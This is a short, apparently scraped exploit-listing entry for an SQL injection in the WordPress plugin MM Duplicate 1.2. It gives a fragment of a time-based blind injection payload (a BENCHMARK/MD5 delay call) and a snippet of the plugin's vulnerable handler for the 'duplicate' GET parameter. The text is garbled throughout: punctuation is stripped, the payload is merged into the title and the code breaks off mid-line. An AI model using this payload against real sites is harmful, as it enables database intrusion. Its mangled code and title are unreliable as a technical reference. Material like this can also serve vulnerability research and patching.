WordPress Plugin MM Duplicate 1.2 - SQL Injection

Exploit Title: WordPress MM Duplicate plugin 1,BENCHMARK5000000,MD5CHAR115,113,108,109,97,112,0 --------------- Vulnerable code --------------- class mmduplicatepagesposts ... function mmduplicatepagesposts ... addaction'init', array&$this, 'dup'; ... function dup if$GET'duplicate' $id =...